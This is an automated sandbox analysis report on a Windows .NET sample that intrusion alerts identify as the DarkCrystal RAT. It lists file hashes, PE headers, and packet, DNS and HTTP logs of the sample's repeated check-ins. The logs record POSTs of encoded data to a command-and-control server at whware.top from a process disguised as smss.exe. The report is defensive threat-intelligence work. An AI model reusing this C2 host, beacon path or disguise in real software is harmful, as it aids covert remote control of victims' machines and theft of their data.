                                                    • Generic Win/DOS Executable (2004/3) 0.01%
                                                    File name:cbCjTbodwa.exe
                                                    File size:3'697'152 bytes
                                                    MD5:40bd8b1654d6e65214bd65efdb0beab2
                                                    SHA1:a8b7565bab387baee59fd80e21ba2806ab0eeb38
                                                    SHA256:c6887b45e8295fd4896655603b599850cff7fc0b4322e5ace083d584196755a4
                                                    SHA512:37f86e51ddd6beda3124e22bbd0d61ce8b90eff99aaa31aa76db9528ae4533b14dd4b15cb8737585b27c3a624fcd38824b9b4f6b646b79286910edfffec40ae0
                                                    SSDEEP:98304:wU0X6MSPLBMjtLfNwpOtXpsrN7jtUzEsidnwjnU:wU0BxqpOEjtUQs+wD
                                                    TLSH:9A06E016A5924F72C3645F314667023D8391DB763652FB0F391F6193A90BBF18EB22A3
                                                    File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......e.................b8...........8.. ....8...@.. ........................8...........@................................

                                                    File Icon

                                                    Icon Hash:90cececece8e8eb0

                                                    Static PE Info

                                                    General

                                                    Entrypoint:0x78801e
                                                    Entrypoint Section:.text
                                                    Digitally signed:false
                                                    Imagebase:0x400000
                                                    Subsystem:windows gui
                                                    Image File Characteristics:EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
                                                    DLL Characteristics:DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
                                                    Time Stamp:0x65DA1E0E [Sat Feb 24 16:49:18 2024 UTC]
                                                    TLS Callbacks:
                                                    CLR (.Net) Version:
                                                    OS Version Major:4
                                                    OS Version Minor:0
                                                    File Version Major:4
                                                    File Version Minor:0
                                                    Subsystem Version Major:4
                                                    Subsystem Version Minor:0
                                                    Import Hash:f34d5f2d4577ed6d9ceec516c1f5a744

                                                    Entrypoint Preview

                                                    Instruction
                                                    jmp dword ptr [00402000h]
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al
                                                    add byte ptr [eax], al

                                                    Data Directories

                                                    NameVirtual AddressVirtual Size Is in Section
                                                    IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                    IMAGE_DIRECTORY_ENTRY_IMPORT0x387fd00x4b.text
                                                    IMAGE_DIRECTORY_ENTRY_RESOURCE0x38a0000x320.rsrc
                                                    IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                    IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                    IMAGE_DIRECTORY_ENTRY_BASERELOC0x38c0000xc.reloc
                                                    IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                                    IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                    IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                    IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                    IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                    IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                    IMAGE_DIRECTORY_ENTRY_IAT0x20000x8.text
                                                    IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                    IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x20080x48.text
                                                    IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                    Sections

                                                    NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                    .text0x20000x3860240x386200a8856f676d7f370243bedc3eeab427a9unknownunknownunknownunknownIMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                    .rsrc0x38a0000x3200x400d5d56b53a3d8bd8ef3235020baab9faeFalse0.353515625data2.6517752881589467IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                    .reloc0x38c0000xc0x200b078fcd5944d6ca1d9e21fc24ee28e5bFalse0.044921875data0.10191042566270775IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                                                    Resources

                                                    NameRVASizeTypeLanguageCountryZLIB Complexity
                                                    RT_VERSION0x38a0580x2c8data0.46207865168539325

                                                    Imports

                                                    DLLImport
                                                    mscoree.dll_CorExeMain

                                                    Network Behavior

                                                    Suricata IDS Alerts

                                                    TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
                                                    2024-12-25T16:32:15.504099+01002048095ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST)1192.168.2.44973037.44.238.25080TCP
                                                    2024-12-25T16:32:29.472846+01002048095ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST)1192.168.2.44973737.44.238.25080TCP
                                                    2024-12-25T16:32:43.332294+01002048095ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST)1192.168.2.44973837.44.238.25080TCP
                                                    2024-12-25T16:32:57.457344+01002048095ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST)1192.168.2.44973937.44.238.25080TCP
                                                    2024-12-25T16:33:12.285516+01002048095ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST)1192.168.2.44976737.44.238.25080TCP
                                                    2024-12-25T16:33:32.315897+01002048095ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST)1192.168.2.44981337.44.238.25080TCP
                                                    2024-12-25T16:33:48.694069+01002048095ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST)1192.168.2.44985437.44.238.25080TCP
                                                    2024-12-25T16:34:03.332152+01002048095ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST)1192.168.2.44988537.44.238.25080TCP

                                                    Network Port Distribution

                                                    TCP Packets

                                                    TimestampSource PortDest PortSource IPDest IP
                                                    Dec 25, 2024 16:32:14.060317039 CET4973080192.168.2.437.44.238.250
                                                    Dec 25, 2024 16:32:14.180074930 CET804973037.44.238.250192.168.2.4
                                                    Dec 25, 2024 16:32:14.180206060 CET4973080192.168.2.437.44.238.250
                                                    Dec 25, 2024 16:32:14.181195974 CET4973080192.168.2.437.44.238.250
                                                    Dec 25, 2024 16:32:14.300779104 CET804973037.44.238.250192.168.2.4
                                                    Dec 25, 2024 16:32:14.536067963 CET4973080192.168.2.437.44.238.250
                                                    Dec 25, 2024 16:32:14.655699968 CET804973037.44.238.250192.168.2.4
                                                    Dec 25, 2024 16:32:15.451419115 CET804973037.44.238.250192.168.2.4
                                                    Dec 25, 2024 16:32:15.504098892 CET4973080192.168.2.437.44.238.250
                                                    Dec 25, 2024 16:32:15.689774990 CET804973037.44.238.250192.168.2.4
                                                    Dec 25, 2024 16:32:15.738475084 CET4973080192.168.2.437.44.238.250
                                                    Dec 25, 2024 16:32:15.966295958 CET4973080192.168.2.437.44.238.250
                                                    Dec 25, 2024 16:32:28.031883955 CET4973780192.168.2.437.44.238.250
                                                    Dec 25, 2024 16:32:28.151612997 CET804973737.44.238.250192.168.2.4
                                                    Dec 25, 2024 16:32:28.151731014 CET4973780192.168.2.437.44.238.250
                                                    Dec 25, 2024 16:32:28.151968956 CET4973780192.168.2.437.44.238.250
                                                    Dec 25, 2024 16:32:28.271547079 CET804973737.44.238.250192.168.2.4
                                                    Dec 25, 2024 16:32:28.504270077 CET4973780192.168.2.437.44.238.250
                                                    Dec 25, 2024 16:32:28.623878002 CET804973737.44.238.250192.168.2.4
                                                    Dec 25, 2024 16:32:29.430481911 CET804973737.44.238.250192.168.2.4
                                                    Dec 25, 2024 16:32:29.472846031 CET4973780192.168.2.437.44.238.250
                                                    Dec 25, 2024 16:32:29.665829897 CET804973737.44.238.250192.168.2.4
                                                    Dec 25, 2024 16:32:29.722842932 CET4973780192.168.2.437.44.238.250
                                                    Dec 25, 2024 16:32:29.851660967 CET4973780192.168.2.437.44.238.250
                                                    Dec 25, 2024 16:32:41.623356104 CET4973880192.168.2.437.44.238.250
                                                    Dec 25, 2024 16:32:41.742971897 CET804973837.44.238.250192.168.2.4
                                                    Dec 25, 2024 16:32:41.743058920 CET4973880192.168.2.437.44.238.250
                                                    Dec 25, 2024 16:32:41.751986027 CET4973880192.168.2.437.44.238.250
                                                    Dec 25, 2024 16:32:42.112464905 CET804973837.44.238.250192.168.2.4
                                                    Dec 25, 2024 16:32:42.112622976 CET4973880192.168.2.437.44.238.250
                                                    Dec 25, 2024 16:32:42.232253075 CET804973837.44.238.250192.168.2.4
                                                    Dec 25, 2024 16:32:43.279278994 CET804973837.44.238.250192.168.2.4
                                                    Dec 25, 2024 16:32:43.332293987 CET4973880192.168.2.437.44.238.250
                                                    Dec 25, 2024 16:32:43.518138885 CET804973837.44.238.250192.168.2.4
                                                    Dec 25, 2024 16:32:43.567251921 CET4973880192.168.2.437.44.238.250
                                                    Dec 25, 2024 16:32:43.705640078 CET4973880192.168.2.437.44.238.250
                                                    Dec 25, 2024 16:32:56.015678883 CET4973980192.168.2.437.44.238.250
                                                    Dec 25, 2024 16:32:56.135453939 CET804973937.44.238.250192.168.2.4
                                                    Dec 25, 2024 16:32:56.137871027 CET4973980192.168.2.437.44.238.250
                                                    Dec 25, 2024 16:32:56.138283968 CET4973980192.168.2.437.44.238.250
                                                    Dec 25, 2024 16:32:56.257746935 CET804973937.44.238.250192.168.2.4
                                                    Dec 25, 2024 16:32:56.489090919 CET4973980192.168.2.437.44.238.250
                                                    Dec 25, 2024 16:32:56.608814955 CET804973937.44.238.250192.168.2.4
                                                    Dec 25, 2024 16:32:57.407704115 CET804973937.44.238.250192.168.2.4
                                                    Dec 25, 2024 16:32:57.457344055 CET4973980192.168.2.437.44.238.250
                                                    Dec 25, 2024 16:32:57.641913891 CET804973937.44.238.250192.168.2.4
                                                    Dec 25, 2024 16:32:57.691751957 CET4973980192.168.2.437.44.238.250
                                                    Dec 25, 2024 16:32:57.868452072 CET4973980192.168.2.437.44.238.250
                                                    Dec 25, 2024 16:33:10.785068035 CET4976780192.168.2.437.44.238.250
                                                    Dec 25, 2024 16:33:10.904637098 CET804976737.44.238.250192.168.2.4
                                                    Dec 25, 2024 16:33:10.904720068 CET4976780192.168.2.437.44.238.250
                                                    Dec 25, 2024 16:33:10.905035019 CET4976780192.168.2.437.44.238.250
                                                    Dec 25, 2024 16:33:11.024501085 CET804976737.44.238.250192.168.2.4
                                                    Dec 25, 2024 16:33:11.254426003 CET4976780192.168.2.437.44.238.250
                                                    Dec 25, 2024 16:33:11.374149084 CET804976737.44.238.250192.168.2.4
                                                    Dec 25, 2024 16:33:12.176320076 CET804976737.44.238.250192.168.2.4
                                                    Dec 25, 2024 16:33:12.285516024 CET4976780192.168.2.437.44.238.250
                                                    Dec 25, 2024 16:33:12.410124063 CET804976737.44.238.250192.168.2.4
                                                    Dec 25, 2024 16:33:12.598006010 CET4976780192.168.2.437.44.238.250
                                                    Dec 25, 2024 16:33:12.621836901 CET4976780192.168.2.437.44.238.250
                                                    Dec 25, 2024 16:33:20.630105972 CET4979380192.168.2.437.44.238.250
                                                    Dec 25, 2024 16:33:20.749653101 CET804979337.44.238.250192.168.2.4
                                                    Dec 25, 2024 16:33:20.749752045 CET4979380192.168.2.437.44.238.250
                                                    Dec 25, 2024 16:33:20.750233889 CET4979380192.168.2.437.44.238.250
                                                    Dec 25, 2024 16:33:20.869805098 CET804979337.44.238.250192.168.2.4
                                                    Dec 25, 2024 16:33:21.098259926 CET4979380192.168.2.437.44.238.250
                                                    Dec 25, 2024 16:33:21.218224049 CET804979337.44.238.250192.168.2.4
                                                    Dec 25, 2024 16:33:22.020905018 CET804979337.44.238.250192.168.2.4
                                                    Dec 25, 2024 16:33:22.238679886 CET4979380192.168.2.437.44.238.250
                                                    Dec 25, 2024 16:33:22.255040884 CET804979337.44.238.250192.168.2.4
                                                    Dec 25, 2024 16:33:22.426183939 CET4979380192.168.2.437.44.238.250
                                                    Dec 25, 2024 16:33:22.522439003 CET4979380192.168.2.437.44.238.250
                                                    Dec 25, 2024 16:33:30.805438995 CET4981380192.168.2.437.44.238.250
                                                    Dec 25, 2024 16:33:30.925100088 CET804981337.44.238.250192.168.2.4
                                                    Dec 25, 2024 16:33:30.925175905 CET4981380192.168.2.437.44.238.250
                                                    Dec 25, 2024 16:33:30.925792933 CET4981380192.168.2.437.44.238.250
                                                    Dec 25, 2024 16:33:31.045420885 CET804981337.44.238.250192.168.2.4
                                                    Dec 25, 2024 16:33:31.270153999 CET4981380192.168.2.437.44.238.250
                                                    Dec 25, 2024 16:33:31.389720917 CET804981337.44.238.250192.168.2.4
                                                    Dec 25, 2024 16:33:32.195959091 CET804981337.44.238.250192.168.2.4
                                                    Dec 25, 2024 16:33:32.315896988 CET4981380192.168.2.437.44.238.250
                                                    Dec 25, 2024 16:33:32.433993101 CET804981337.44.238.250192.168.2.4
                                                    Dec 25, 2024 16:33:32.535582066 CET4981380192.168.2.437.44.238.250
                                                    Dec 25, 2024 16:33:32.682271957 CET4981380192.168.2.437.44.238.250
                                                    Dec 25, 2024 16:33:47.069408894 CET4985480192.168.2.437.44.238.250
                                                    Dec 25, 2024 16:33:47.189224005 CET804985437.44.238.250192.168.2.4
                                                    Dec 25, 2024 16:33:47.189337969 CET4985480192.168.2.437.44.238.250
                                                    Dec 25, 2024 16:33:47.189817905 CET4985480192.168.2.437.44.238.250
                                                    Dec 25, 2024 16:33:47.309531927 CET804985437.44.238.250192.168.2.4
                                                    Dec 25, 2024 16:33:47.535659075 CET4985480192.168.2.437.44.238.250
                                                    Dec 25, 2024 16:33:47.655531883 CET804985437.44.238.250192.168.2.4
                                                    Dec 25, 2024 16:33:48.637067080 CET804985437.44.238.250192.168.2.4
                                                    Dec 25, 2024 16:33:48.694005013 CET804985437.44.238.250192.168.2.4
                                                    Dec 25, 2024 16:33:48.694068909 CET4985480192.168.2.437.44.238.250
                                                    Dec 25, 2024 16:33:49.507781982 CET4985480192.168.2.437.44.238.250
                                                    Dec 25, 2024 16:34:01.854047060 CET4988580192.168.2.437.44.238.250
                                                    Dec 25, 2024 16:34:01.973731995 CET804988537.44.238.250192.168.2.4
                                                    Dec 25, 2024 16:34:01.973819017 CET4988580192.168.2.437.44.238.250
                                                    Dec 25, 2024 16:34:01.974102020 CET4988580192.168.2.437.44.238.250
                                                    Dec 25, 2024 16:34:02.093628883 CET804988537.44.238.250192.168.2.4
                                                    Dec 25, 2024 16:34:02.332313061 CET4988580192.168.2.437.44.238.250
                                                    Dec 25, 2024 16:34:02.451863050 CET804988537.44.238.250192.168.2.4
                                                    Dec 25, 2024 16:34:03.256782055 CET804988537.44.238.250192.168.2.4
                                                    Dec 25, 2024 16:34:03.332151890 CET4988580192.168.2.437.44.238.250
                                                    Dec 25, 2024 16:34:03.490252972 CET804988537.44.238.250192.168.2.4
                                                    Dec 25, 2024 16:34:03.629031897 CET4988580192.168.2.437.44.238.250
                                                    Dec 25, 2024 16:34:03.639934063 CET4988580192.168.2.437.44.238.250

                                                    UDP Packets

                                                    TimestampSource PortDest PortSource IPDest IP
                                                    Dec 25, 2024 16:32:13.716347933 CET6074353192.168.2.41.1.1.1
                                                    Dec 25, 2024 16:32:14.054564953 CET53607431.1.1.1192.168.2.4

                                                    DNS Queries

                                                    TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                    Dec 25, 2024 16:32:13.716347933 CET192.168.2.41.1.1.10xe3b9Standard query (0)whware.topA (IP address)IN (0x0001)false

                                                    DNS Answers

                                                    TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                    Dec 25, 2024 16:32:14.054564953 CET1.1.1.1192.168.2.40xe3b9No error (0)whware.top37.44.238.250A (IP address)IN (0x0001)false

                                                    HTTP Request Dependency Graph

                                                    • whware.top

                                                    HTTP Packets

                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                    0192.168.2.44973037.44.238.250805940C:\Program Files\Uninstall Information\smss.exe
                                                    TimestampBytes transferredDirectionData
                                                    Dec 25, 2024 16:32:14.181195974 CET314OUTPOST /RequestLowGeoLongpollWordpress.php HTTP/1.1
                                                    Content-Type: application/x-www-form-urlencoded
                                                    User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
                                                    Host: whware.top
                                                    Content-Length: 344
                                                    Expect: 100-continue
                                                    Connection: Keep-Alive
                                                    Dec 25, 2024 16:32:14.536067963 CET344OUTData Raw: 00 03 04 04 06 0d 01 05 05 06 02 01 02 02 01 03 00 03 05 0d 02 01 03 0c 07 01 0f 04 05 57 03 00 0a 0f 06 0c 07 00 03 05 0b 07 04 03 06 00 07 04 04 06 0c 5d 0f 50 06 07 07 0f 07 54 06 0b 00 09 03 01 0a 01 07 54 05 05 0b 05 0d 0f 0e 01 0d 08 04 05
                                                    Data Ascii: W]PTTRU\L~AkYe]tb_Ou\tkoitB|h`w^x{o`~|Tt`I{_~O~V@x}v~ba
                                                    Dec 25, 2024 16:32:15.451419115 CET25INHTTP/1.1 100 Continue
                                                    Dec 25, 2024 16:32:15.689774990 CET376INHTTP/1.1 404 Not Found
                                                    Server: nginx
                                                    Date: Wed, 25 Dec 2024 15:32:13 GMT
                                                    Content-Type: text/html; charset=UTF-8
                                                    Content-Length: 213
                                                    Connection: keep-alive
                                                    Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 0d 0a 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e
                                                    Data Ascii: <html><head><meta http-equiv="content-type" content="text/html; charset=UTF-8"><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>


                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                    1192.168.2.44973737.44.238.250804324C:\Program Files\Uninstall Information\smss.exe
                                                    TimestampBytes transferredDirectionData
                                                    Dec 25, 2024 16:32:28.151968956 CET332OUTPOST /RequestLowGeoLongpollWordpress.php HTTP/1.1
                                                    Content-Type: application/x-www-form-urlencoded
                                                    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 OPR/81.0.4196.60
                                                    Host: whware.top
                                                    Content-Length: 344
                                                    Expect: 100-continue
                                                    Connection: Keep-Alive
                                                    Dec 25, 2024 16:32:28.504270077 CET344OUTData Raw: 00 04 04 02 03 0c 04 01 05 06 02 01 02 0c 01 02 00 06 05 0e 02 06 03 01 03 06 0f 01 07 0f 02 04 0f 56 03 0c 00 0d 04 07 0e 57 02 04 06 05 05 03 04 50 0d 01 0a 04 06 0b 06 57 04 56 04 06 05 00 00 57 0f 0b 04 02 06 03 0c 50 0f 04 0e 02 0d 07 05 00
                                                    Data Ascii: VWPWVWPPSU\L}Sztqv\uusQ|oiBcRhM|oxX{vh}|Nwdp~u~V@xmb}\[
                                                    Dec 25, 2024 16:32:29.430481911 CET25INHTTP/1.1 100 Continue
                                                    Dec 25, 2024 16:32:29.665829897 CET376INHTTP/1.1 404 Not Found
                                                    Server: nginx
                                                    Date: Wed, 25 Dec 2024 15:32:27 GMT
                                                    Content-Type: text/html; charset=UTF-8
                                                    Content-Length: 213
                                                    Connection: keep-alive
                                                    Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 0d 0a 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e
                                                    Data Ascii: <html><head><meta http-equiv="content-type" content="text/html; charset=UTF-8"><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>


                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                    2192.168.2.44973837.44.238.250802336C:\Program Files\Uninstall Information\smss.exe
                                                    TimestampBytes transferredDirectionData
                                                    Dec 25, 2024 16:32:41.751986027 CET315OUTPOST /RequestLowGeoLongpollWordpress.php HTTP/1.1
                                                    Content-Type: application/x-www-form-urlencoded
                                                    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
                                                    Host: whware.top
                                                    Content-Length: 344
                                                    Expect: 100-continue
                                                    Connection: Keep-Alive
                                                    Dec 25, 2024 16:32:42.112622976 CET344OUTData Raw: 05 01 01 01 06 0e 01 0a 05 06 02 01 02 02 01 06 00 0b 05 0e 02 0d 03 09 02 55 0f 06 06 04 02 02 0d 55 05 59 03 01 06 00 0b 0b 07 06 06 0b 07 54 06 54 0b 01 0a 0f 06 02 07 06 06 54 04 0b 05 01 02 56 0c 0c 07 03 05 04 0f 01 0d 01 0d 0d 0e 09 06 01
                                                    Data Ascii: UUYTTTVXV\L}Pk`Xw\avoP~|qLv|RL~poX{BslNq[kSZ@twQ_~_~V@{mPbu
                                                    Dec 25, 2024 16:32:43.279278994 CET25INHTTP/1.1 100 Continue
                                                    Dec 25, 2024 16:32:43.518138885 CET376INHTTP/1.1 404 Not Found
                                                    Server: nginx
                                                    Date: Wed, 25 Dec 2024 15:32:41 GMT
                                                    Content-Type: text/html; charset=UTF-8
                                                    Content-Length: 213
                                                    Connection: keep-alive
                                                    Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 0d 0a 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e
                                                    Data Ascii: <html><head><meta http-equiv="content-type" content="text/html; charset=UTF-8"><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>


                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                    3192.168.2.44973937.44.238.250802676C:\Program Files\Uninstall Information\smss.exe
                                                    TimestampBytes transferredDirectionData
                                                    Dec 25, 2024 16:32:56.138283968 CET279OUTPOST /RequestLowGeoLongpollWordpress.php HTTP/1.1
                                                    Content-Type: application/x-www-form-urlencoded
                                                    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                    Host: whware.top
                                                    Content-Length: 344
                                                    Expect: 100-continue
                                                    Connection: Keep-Alive
                                                    Dec 25, 2024 16:32:56.489090919 CET344OUTData Raw: 00 02 04 05 03 08 04 07 05 06 02 01 02 07 01 0b 00 06 05 0a 02 06 03 0d 01 05 0d 56 03 03 02 05 0d 06 05 08 01 02 04 01 0e 57 06 05 07 06 07 52 07 02 0c 0d 0a 00 06 56 04 57 05 0c 01 02 06 09 00 50 0c 09 05 05 01 06 0e 0f 0f 57 0f 0d 0b 00 05 04
                                                    Data Ascii: VWRVWPWP\L~prw[}Oue`~|r]tRR`x{xp_Zkm|@`Io]}_~V@Az}bO}\e
                                                    Dec 25, 2024 16:32:57.407704115 CET25INHTTP/1.1 100 Continue
                                                    Dec 25, 2024 16:32:57.641913891 CET376INHTTP/1.1 404 Not Found
                                                    Server: nginx
                                                    Date: Wed, 25 Dec 2024 15:32:55 GMT
                                                    Content-Type: text/html; charset=UTF-8
                                                    Content-Length: 213
                                                    Connection: keep-alive
